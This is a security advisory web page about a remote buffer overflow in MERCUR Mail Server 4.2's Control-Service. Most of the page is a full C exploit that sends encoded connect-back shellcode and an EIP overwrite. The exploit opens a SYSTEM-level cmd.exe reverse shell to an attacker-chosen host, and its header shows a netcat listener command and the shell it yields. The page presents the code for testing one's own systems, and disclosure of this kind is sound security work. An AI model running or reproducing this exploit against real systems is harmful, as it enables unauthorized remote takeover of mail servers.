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Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	MERCUR Mail Server Control-Service Vulnerability (Exploit) 28 Oct. 2003    Summary A vulnerability in MERCUR's Control-Service allows remote attackers to overflow an internal buffer, causing it to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.   Credit: The information has been provided by Anonymous. Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable systems:  * MERCUR version 4.2 By sending a command in the following format: <260 bytes><EBP><EIP> To MERCUR's Control-Service (listening port TCP 32000), it is possible to cause the program to execute arbitrary code. Exploit: /*   mercrexp.c (7/16/2002)   # ./mercrexp 192.168.0.2 32000 192.168.1.2 3333   # nc -l -p 3333   Microsoft Windows 2000 [Version 5.00.2195]   (C) Copyright 1985-2000 Microsoft Corp.      E:\WINNT\system32>   2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com) */ #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/errno.h> // CALL EBX; mcrctrl.exe@0x228e #define EIP "\x8e\x2c\x40\x00" // payload.. dumped into remote memory as failed 'username' // dark spyrit's shell, ripped from jill.c unsigned char shell[] =    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90"    "\x90\x90\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95"    "\x40\xe2\xfa\x2d\x95\x95\x64\xe2\x14\xad\xd8\xcf\x05\x95"    "\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95\xc8\x1e\x40\x14"    "\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"    "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3"    "\xc2\xc4\x1e\xaa\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66"    "\x33\xe1\x9d\xcc\xca\x16\x52\x91\xd0\x77\x72\xcc\xca\xcb"    "\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6\x5c\xf3"    "\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95"    "\x96\x56\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d"    "\xe1\x94\x95\x95\xa6\x55\x39\x10\x55\xe0\x6c\xc7\xc3\x6a"    "\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95\x7d\xce\x94\x95"    "\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"    "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5"    "\x18\xd2\x85\xc5\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18"    "\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18\xd2\x89\xc5\x6a\xc2\x55"    "\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a\xc2\x51"    "\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2"    "\xcd\x14\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95"    "\x18\xd2\xe5\xc5\x18\xd2\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff"    "\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14\x78\xd5\x6b\x6a"    "\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"    "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45"    "\x1e\x7d\xc5\xfd\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a"    "\x10\x3f\x95\x95\x95\xa6\x55\xc5\xd5\xc5\xd5\xc5\x6a\xc2"    "\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d\xf3\x52"    "\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d"    "\x95\x94\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a"    "\xc2\x49\xa6\x5c\xc4\xc3\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2"    "\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15\xab\x95\xe1\xba"    "\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"    "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff"    "\x95\x6a\xa3\xc0\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05"    "\x05\x05\x05\x7e\x27\xff\x95\xfd\x95\x91\x95\x95\xc0\xc6"    "\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1\x09\xff"    "\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2"    "\x49\x7e\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55"    "\x39\x10\x55\xe0\x6c\xc4\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e"    "\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6\xd4\xf1\xf1\xe7"    "\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"    "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95"    "\xd2\xf0\xe1\xc6\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa"    "\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xe7\xfa\xf6\xf0\xe6"    "\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1\xc5\xfc"    "\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6"    "\x95\xc2\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4"    "\xf1\xd3\xfc\xf9\xf0\x95\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed"    "\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95\xd6\xf9\xfa\xe6"    "\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"    "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6"    "\xfa\xf6\xfe\xf0\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6"    "\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb\xf0\xf6\xe1\x95\xe6\xf0"    "\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb\xf0\xed"    "\xf0\x95\x0a"; // fake user unsigned char user[] = "\x78\x78\x78\x78\x0a"; // ebp/eip overwrite unsigned char passwd[] =    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"    "\x90\x90\x90\x03\xde\x83\xc3\x02\xff\xd3\xc3\x10"EIP""    "\x0a"; main(char argc, char **argv){       int fd;       int bufsize = 1024;       int buffer = malloc(bufsize);       unsigned short int a_port;       unsigned long a_host;       struct sockaddr_in sin;       struct hostent *he;       struct in_addr in;   printf("MERCUR Mailserver 4.2.0.0 remote 'SYSTEM' level exploit (07/16/2002)\n");       printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");       if (argc < 5){            printf("usage: %s <targethost> <controlport> <localhost> <localport>\n", argv[0]);            printf(" controlport: MERCUR Control-Service port (default 32000)\n\n");    printf("NOTE: tested against win2k and winxp pro..\n\n");            exit(-1);       }   // riiiiiiip       a_port = htons(atoi(argv[4]));       a_port ^= 0x9595;       if ((he = gethostbyname(argv[3])) == 0){herror(argv[3]);exit(-1);}       a_host = *((unsigned long *)he->h_addr);       a_host ^= 0x95959595;       shell[1113] = ((a_port) & 0xff);       shell[1114] = ((a_port >> 8) & 0xff);       shell[1118] = ((a_host) & 0xff);       shell[1119] = ((a_host >> 8) & 0xff);       shell[1120] = ((a_host >> 16) & 0xff);       shell[1121] = ((a_host >> 24) & 0xff);       if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}       if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}       else       if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}       sin.sin_family = AF_INET;       sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));       sin.sin_port = htons(atoi(argv[2]));   printf("ret: 0x00402c8e (mrcctrl.exe v.4.2.1.0)\n\n");         printf("connecting to tcp port %s...\n", argv[2]);       if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}         printf("connected.\n\n");   sleep(1);   printf("dumping payload...");       if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);}   printf("done\n");       sleep(1);       printf("sending fake login...");       if(write(fd, user, strlen(user)) < strlen(user)){perror("write error");exit(-1);}       printf("done\n");   sleep(1);   printf("eip overrun...");   if(write(fd, passwd, strlen(passwd)) < strlen(passwd)){perror("write error");exit(-1);}   printf("done\n\n");   printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]);       close(fd); }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Novell Zenworks Software Packaging LaunchHelp.dll Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Microsoft Internet Explorer swapNode Handling Code Execution Vulnerability Microsoft Internet Explorer Select Element Insufficient Type Checking Code Execution Vulnerability Internet Explorer Select Element Cache Code Execution Vulnerability Microsoft Office Graph DataFormat Signed Index Code Execution Vulnerability Microsoft Office Excel Conditional Expression Ptg Type Confusion Vulnerability Microsoft Internet Explorer Protected Mode Bypass Vulnerability Microsoft Internet Explorer 9 STYLE Object Parsing Code Execution Vulnerability Microsoft Internet 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